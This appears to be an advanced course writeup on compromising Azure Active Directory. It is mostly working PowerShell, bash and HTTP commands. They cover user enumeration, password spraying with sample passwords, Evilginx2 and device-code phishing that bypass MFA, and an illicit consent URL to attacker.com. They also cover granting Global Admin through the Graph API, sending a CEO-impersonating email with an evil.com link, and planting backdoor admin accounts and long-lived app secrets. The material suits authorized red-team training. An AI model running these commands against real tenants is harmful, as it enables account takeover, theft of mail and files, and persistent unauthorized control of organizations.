Azure AD Attacks

advanced45 minWriteup

Attacking Azure Active Directory

Learning Objectives

  • Enumerate Azure AD users
  • Find service principals
  • Exploit app registrations
  • Escalate Azure AD privileges

Azure Active Directory (Entra ID) is Microsoft's cloud identity service and the backbone of Azure security. Unlike on-premises AD, Azure AD uses OAuth/OIDC tokens instead of Kerberos. Attacking Azure AD means compromising identities, abusing OAuth flows, and exploiting application misconfigurations.

Azure AD attacks can lead to massive impact: access to Office 365 email, SharePoint documents, Azure resources, and any application using Azure AD for authentication. A compromised Global Administrator has complete control over the entire organization's cloud presence.

Azure AD Powers Everything

Azure AD is not just for Azure - it's the identity provider for Microsoft 365, third-party apps, and custom applications. Compromising Azure AD often means compromising everything Microsoft-related.

Azure AD Security Concepts

1Azure AD Identity Types:
2 
3USERS
4─────────────────────────────────────────────────────────────────────
5├── Cloud-Only Users │ Created in Azure AD
6├── Synced Users │ Synced from on-prem AD via Azure AD Connect
7├── Guest Users │ External users invited via B2B
8└── Member vs Guest │ Different default permissions
9 
10SERVICE PRINCIPALS (Applications)
11─────────────────────────────────────────────────────────────────────
12├── App Registration │ Application identity you create
13│ └── Client ID │ Public identifier
14│ └── Client Secret │ Password for the app
15│ └── Certificates │ Alternative to secrets
16
17├── Enterprise App │ Instance of app in tenant
18│ └── Service Principal│ The actual identity
19│ └── Permissions │ What the app can do
20
21└── Managed Identity │ Auto-managed for Azure services
22 ├── System-assigned │ Tied to resource lifecycle
23 └── User-assigned │ Independent, shareable
24 
25PERMISSIONS
26─────────────────────────────────────────────────────────────────────
27Delegated │ Act on behalf of signed-in user
28Application │ Act as the application itself (no user)
29 
30Consent Types:
31├── User Consent │ User approves for themselves
32├── Admin Consent │ Admin approves for all users
33└── Pre-authorized │ First-party Microsoft apps
1Azure AD Roles (Key Ones):
2 
3DANGEROUS ROLES
4─────────────────────────────────────────────────────────────────────
5Global Administrator │ Full control over everything
6 │ Can reset any password, read any data
7 
8Privileged Role Administrator │ Can assign any role to anyone
9 │ Leads to Global Admin
10 
11Application Administrator │ Full control over all apps
12 │ Can add secrets to any app
13 
14Cloud Application Admin │ Same as above, no on-prem
15 
16Privileged Authentication Admin│ Can reset any user's password/MFA
17 │ Including Global Admins!
18 
19SENSITIVE ROLES
20─────────────────────────────────────────────────────────────────────
21Exchange Administrator │ All mailboxes
22SharePoint Administrator │ All SharePoint/OneDrive
23Teams Administrator │ Teams settings and meetings
24Intune Administrator │ All managed devices
25User Administrator │ Create/delete users, reset passwords

Azure AD Enumeration

powershell
1606070;"># Azure AD Enumeration with PowerShell
2 
3606070;"># Connect to Azure AD
4Connect-AzureAD
5606070;"># Or with Microsoft Graph
6Connect-MgGraph -Scopes 606070;">#a5d6ff;">"User.Read.All","Group.Read.All","Application.Read.All"
7 
8606070;"># User Enumeration
9─────────────────────────────────────────────────────────────────────
10606070;"># List all users
11Get-AzureADUser -All $true | Select UserPrincipalName, DisplayName, UserType
12 
13606070;"># Find Global Admins
14$role = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq 606070;">#a5d6ff;">"Global Administrator"}
15Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
16 
17606070;"># Find users with specific roles
18Get-AzureADDirectoryRole | ForEach-Object {
19 $role = $_
20 Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | ForEach-Object {
21 [PSCustomObject]@{
22 Role = $role.DisplayName
23 User = $_.UserPrincipalName
24 }
25 }
26}
27 
28 
29606070;"># Service Principal Enumeration
30─────────────────────────────────────────────────────────────────────
31606070;"># List all service principals
32Get-AzureADServicePrincipal -All $true
33 
34606070;"># Find service principals with dangerous permissions
35606070;"># (Application.ReadWrite.All, RoleManagement.ReadWrite.Directory, etc.)
36Get-AzureADServicePrincipal -All $true | ForEach-Object {
37 $sp = $_
38 Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId
39}
40 
41 
42606070;"># Application Registration Enumeration
43─────────────────────────────────────────────────────────────────────
44606070;"># List all applications
45Get-AzureADApplication -All $true
46 
47606070;"># Find apps with secrets/certificates
48Get-AzureADApplication -All $true | ForEach-Object {
49 $app = $_
50 $creds = Get-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId
51 $certs = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
52 if ($creds -or $certs) {
53 [PSCustomObject]@{
54 AppName = $app.DisplayName
55 AppId = $app.AppId
56 HasPassword = [bool]$creds
57 HasCertificate = [bool]$certs
58 }
59 }
60}
bash
1606070;"># AzureHound for Attack Path Mapping
2 
3606070;"># Collect Azure AD data
4azurehound list -u user@company.com -p password --tenant TENANT_ID
5 
6606070;"># Or with access token
7azurehound list --access-token $TOKEN
8 
9606070;"># Import to BloodHound and look for:
10606070;"># - Paths to Global Admin
11606070;"># - App owners who can add secrets
12606070;"># - Dangerous role assignments
13606070;"># - Service principals with excessive permissions
14 
15 
16606070;"># ROADtools Enumeration
17─────────────────────────────────────────────────────────────────────
18606070;"># Authenticate
19roadrecon auth -u user@company.com -p password
20 
21606070;"># Gather all Azure AD data
22roadrecon gather
23 
24606070;"># Launch interactive GUI
25roadrecon gui
26 
27606070;"># Or dump to files
28roadrecon dump
29 
30606070;"># Shows: Users, Groups, Apps, Service Principals, Roles, Devices

Password Attacks

bash
1606070;"># Azure AD Password Attacks
2 
3606070;"># Password Spraying (USE WITH CAUTION!)
4─────────────────────────────────────────────────────────────────────
5606070;"># Tools: MSOLSpray, Spray, o365spray
6 
7606070;"># o365spray - Validate users and spray
8o365spray --validate --domain company.com
9o365spray --spray --userfile users.txt --password 606070;">#a5d6ff;">"Summer2024!"
10 
11606070;"># MSOLSpray
12Import-Module MSOLSpray.ps1
13Invoke-MSOLSpray -UserList users.txt -Password 606070;">#a5d6ff;">"Winter2024!"
14 
15606070;"># Smart lockout considerations:
16606070;"># - Azure AD has smart lockout (10 failed attempts by default)
17606070;"># - Extranet lockout threshold may be different
18606070;"># - Wait 1+ minute between attempts per user
19606070;"># - Use common passwords (Season+Year!, Company123!)
20 
21 
22606070;"># Credential Harvesting from Breaches
23─────────────────────────────────────────────────────────────────────
24606070;"># Check if company emails are in breach databases
25606070;"># Then try those passwords against Azure AD
26 
27606070;"># Look for:
28606070;"># - Breached credentials with company domain
29606070;"># - Password patterns from old breaches
30606070;"># - Credential stuffing opportunities
31 
32 
33606070;"># Phishing for Credentials
34─────────────────────────────────────────────────────────────────────
35606070;"># Evilginx2 - Real-time phishing with MFA bypass
36evilginx2
37 
38606070;"># Configure Office 365 phishlet
39phishlets hostname o365 company.phishing-domain.com
40phishlets enable o365
41lures create o365
42 
43606070;"># Sends user to real Microsoft login
44606070;"># Captures session cookies, bypasses MFA!
45 
46 
47606070;"># Device Code Phishing
48─────────────────────────────────────────────────────────────────────
49606070;"># Start device code flow
50POST https:606070;">//login.microsoftonline.com/common/oauth2/devicecode
51Content-Type: application/x-www-form-urlencoded
52 
53client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https:606070;">//graph.microsoft.com
54 
55606070;"># Returns device_code and user_code
56606070;"># Trick user into entering user_code at microsoft.com/devicelogin
57 
58606070;"># Poll for token
59POST https:606070;">//login.microsoftonline.com/common/oauth2/token
60Content-Type: application/x-www-form-urlencoded
61 
62client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=urn:ietf:params:oauth:grant-type:device_code&code=DEVICE_CODE

Smart Lockout

Azure AD has smart lockout that can lock accounts after failed attempts. Password spraying should be done very slowly (one attempt per user per hour) and with authorization. Lockouts alert defenders!

Application Attacks

powershell
1606070;"># Exploiting Application Misconfigurations
2 
3606070;"># Attack: Add Secret to App You Own
4─────────────────────────────────────────────────────────────────────
5606070;"># If you're owner of an application with permissions:
6 
7606070;"># Find apps you own
8Get-AzureADUserOwnedObject -ObjectId YOUR_OBJECT_ID | Where-Object {$_.ObjectType -eq 606070;">#a5d6ff;">"Application"}
9 
10606070;"># Add new secret
11$app = Get-AzureADApplication -ObjectId APP_OBJECT_ID
12$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId
13Write-Output 606070;">#a5d6ff;">"Client ID: $($app.AppId)"
14Write-Output 606070;">#a5d6ff;">"Secret: $($secret.Value)"
15 
16606070;"># Now authenticate as the application
17$body = @{
18 grant_type = 606070;">#a5d6ff;">"client_credentials"
19 client_id = $app.AppId
20 client_secret = $secret.Value
21 scope = 606070;">#a5d6ff;">"https://graph.microsoft.com/.default"
22}
23$token = Invoke-RestMethod -Uri 606070;">#a5d6ff;">"https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method POST -Body $body
24606070;"># Use token to access resources with app's permissions!
25 
26 
27606070;"># Attack: Illicit Consent Grant
28─────────────────────────────────────────────────────────────────────
29606070;"># Create malicious app that requests broad permissions
30606070;"># Trick admin into consenting
31 
32606070;"># Malicious app permissions requested:
33606070;"># - Mail.Read (read all email)
34606070;"># - Files.Read.All (read all SharePoint/OneDrive)
35606070;"># - User.ReadWrite.All (modify users)
36 
37606070;"># Consent URL:
38606070;"># https://login.microsoftonline.com/TENANT/oauth2/v2.0/authorize?
39606070;"># client_id=MALICIOUS_APP_ID&
40606070;"># redirect_uri=https://attacker.com/callback&
41606070;"># response_type=code&
42606070;"># scope=Mail.Read Files.Read.All User.ReadWrite.All
43 
44 
45606070;"># Attack: Exploit Dangerous App Permissions
46─────────────────────────────────────────────────────────────────────
47606070;"># If app has RoleManagement.ReadWrite.Directory:
48606070;"># Can assign Global Admin to any user!
49 
50$params = @{
51 606070;">#a5d6ff;">"@odata.type" = "#microsoft.graph.unifiedRoleAssignment"
52 principalId = 606070;">#a5d6ff;">"ATTACKER_USER_ID"
53 roleDefinitionId = 606070;">#a5d6ff;">"GLOBAL_ADMIN_ROLE_ID"
54 directoryScopeId = 606070;">#a5d6ff;">"/"
55}
56Invoke-MgGraphRequest -Method POST -Uri 606070;">#a5d6ff;">"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Body $params
57 
58 
59606070;"># Attack: Abuse App with Mail.Send
60─────────────────────────────────────────────────────────────────────
61606070;"># App with Mail.Send application permission can send as ANY user
62 
63$message = @{
64 subject = 606070;">#a5d6ff;">"Important Security Update"
65 body = @{
66 contentType = 606070;">#a5d6ff;">"HTML"
67 content = 606070;">#a5d6ff;">"<a href='https://evil.com'>Click here</a>"
68 }
69 toRecipients = @(@{emailAddress = @{address = 606070;">#a5d6ff;">"target@company.com"}})
70}
71Invoke-MgGraphRequest -Method POST -Uri 606070;">#a5d6ff;">"https://graph.microsoft.com/v1.0/users/CEO@company.com/sendMail" -Body @{message = $message}

Check App Permissions

Run Get-AzureADServiceAppRoleAssignment on service principals to find apps with dangerous permissions. Common risky ones: RoleManagement.*, Application.*, Directory.*, Mail.* with application (not delegated) consent.

Privilege Escalation

1Azure AD Privilege Escalation Paths:
2 
3PATH 1: App Owner → Add Secret → Abuse App Permissions
4─────────────────────────────────────────────────────────────────────
5You are: Owner of app with Directory.ReadWrite.All
6Action: Add secret to app, authenticate as app
7Result: Can modify any directory object
8 
9PATH 2: User Admin → Reset Password → Compromise Higher Priv User
10─────────────────────────────────────────────────────────────────────
11You are: User Administrator (can't reset admin passwords directly)
12But: Some admins might not have 606070;">#a5d6ff;">"strong auth" enabled
13Action: Reset their password if not protected
14Result: Compromise privileged account
15 
16PATH 3: Intune Admin → Deploy Script → Code Exec on Admin Device
17─────────────────────────────────────────────────────────────────────
18You are: Intune Administrator
19Action: Push malicious script to devices
20Result: Code execution, potentially capture admin credentials
21 
22PATH 4: Groups Owner → Add Self to Privileged Group
23─────────────────────────────────────────────────────────────────────
24You are: Owner of group that's assigned a privileged role
25Action: Add yourself to the group
26Result: Inherit the role
27 
28PATH 5: Priv Auth Admin → Reset Global Admin MFA/Password
29─────────────────────────────────────────────────────────────────────
30You are: Privileged Authentication Administrator
31Action: Reset MFA or password for Global Admin
32Result: Access to Global Admin account
33 
34PATH 6: Exchange Admin → Give Self ApplicationImpersonation
35─────────────────────────────────────────────────────────────────────
36You are: Exchange Administrator
37Action: Grant ApplicationImpersonation role
38Result: Access any mailbox
powershell
1606070;"># Practical Privilege Escalation
2 
3606070;"># Check what you can do
4Get-AzureADDirectoryRole | ForEach-Object {
5 $members = Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId
6 if ($members.UserPrincipalName -contains 606070;">#a5d6ff;">"youruser@company.com") {
7 Write-Output 606070;">#a5d6ff;">"You have role: $($_.DisplayName)"
8 }
9}
10 
11606070;"># If you're Application Administrator:
12606070;"># Add secret to high-privilege app
13$app = Get-AzureADApplication -Filter 606070;">#a5d6ff;">"DisplayName eq 'HighPrivApp'"
14$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId
15606070;"># Authenticate as the app with dangerous permissions
16 
17606070;"># If you're Privileged Role Administrator:
18606070;"># Assign Global Admin to yourself
19$roleId = (Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq 606070;">#a5d6ff;">"Global Administrator"}).ObjectId
20$userId = (Get-AzureADUser -ObjectId 606070;">#a5d6ff;">"youruser@company.com").ObjectId
21Add-AzureADDirectoryRoleMember -ObjectId $roleId -RefObjectId $userId
22 
23606070;"># If you own a privileged group:
24606070;"># Add yourself to get the role
25Add-AzureADGroupMember -ObjectId GROUP_ID -RefObjectId YOUR_ID

Azure AD Persistence

powershell
1606070;"># Maintaining Access in Azure AD
2 
3606070;"># Method 1: Create Secret on Existing High-Priv App
4─────────────────────────────────────────────────────────────────────
5$app = Get-AzureADApplication -Filter 606070;">#a5d6ff;">"DisplayName eq 'Microsoft Graph Explorer'"
6$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId -EndDate (Get-Date).AddYears(10)
7606070;"># Long-lived secret for existing app
8 
9606070;"># Method 2: Create New App with Permissions
10─────────────────────────────────────────────────────────────────────
11$app = New-AzureADApplication -DisplayName 606070;">#a5d6ff;">"Security Scanner"
12$sp = New-AzureADServicePrincipal -AppId $app.AppId
13606070;"># Grant it admin consent for Directory.ReadWrite.All
14 
15606070;"># Method 3: Add Yourself as Owner of Critical Apps
16─────────────────────────────────────────────────────────────────────
17$app = Get-AzureADApplication -ObjectId HIGH_PRIV_APP_ID
18Add-AzureADApplicationOwner -ObjectId $app.ObjectId -RefObjectId YOUR_ID
19606070;"># Now you can always add secrets
20 
21606070;"># Method 4: Create Backdoor Admin User
22─────────────────────────────────────────────────────────────────────
23$password = ConvertTo-SecureString 606070;">#a5d6ff;">"P@ssw0rd123!" -AsPlainText -Force
24$user = New-AzureADUser -DisplayName 606070;">#a5d6ff;">"svc_backup" -UserPrincipalName "svc_backup@company.onmicrosoft.com" -PasswordProfile @{Password=$password; ForceChangePasswordNextLogin=$false} -AccountEnabled $true
25 
26606070;"># Add to Global Admins
27$roleId = (Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq 606070;">#a5d6ff;">"Global Administrator"}).ObjectId
28Add-AzureADDirectoryRoleMember -ObjectId $roleId -RefObjectId $user.ObjectId
29 
30606070;"># Method 5: Federation Trust (Golden SAML)
31─────────────────────────────────────────────────────────────────────
32606070;"># If you have the ADFS token signing certificate:
33606070;"># Can forge SAML tokens for any user
34606070;"># ADFSdump to extract, then use shimit or similar

Golden SAML

If an organization uses ADFS for federation, the token signing certificate is the "golden ticket" equivalent. With it, you can forge authentication tokens for any user, including Global Admins.

Azure AD Attack Methodology

Azure AD Compromise Flow

1
Initial AccessPhishing, password spraying, credential stuffing, or exploiting OAuth misconfigurations.
2
EnumerationMap users, groups, roles, applications, and service principals using AzureHound or ROADtools.
3
Identify Attack PathsFind privilege escalation paths: app ownership, group membership, role assignments, dangerous permissions.
4
Privilege EscalationExploit found paths to gain higher privileges. Target Global Admin or high-privilege application.
5
Data AccessAccess sensitive data: mailboxes, SharePoint, Teams, Azure resources accessible with escalated privileges.
6
PersistenceCreate backdoor apps, add secrets to existing apps, create admin users, or establish federation trust.

Knowledge Check

Quick Quiz
Question 1 of 3

What can an owner of an Azure AD application do?

Challenges

Azure AD Attack Path Analysis

Challenge
💀 advanced

Given: You compromised a user who is owner of an application that has 'Application.ReadWrite.All' permission. Describe the attack path to Global Administrator.

Need a hint? (4 available)

Key Takeaways

  • Azure AD controls access to Microsoft 365, Azure, and integrated apps
  • App owners can add secrets - owning a high-priv app enables escalation
  • Privileged Authentication Admin can reset ANY password including Global Admin
  • Application permissions (vs delegated) are especially dangerous
  • Device code phishing can bypass MFA protections
  • Use AzureHound/ROADtools to map attack paths visually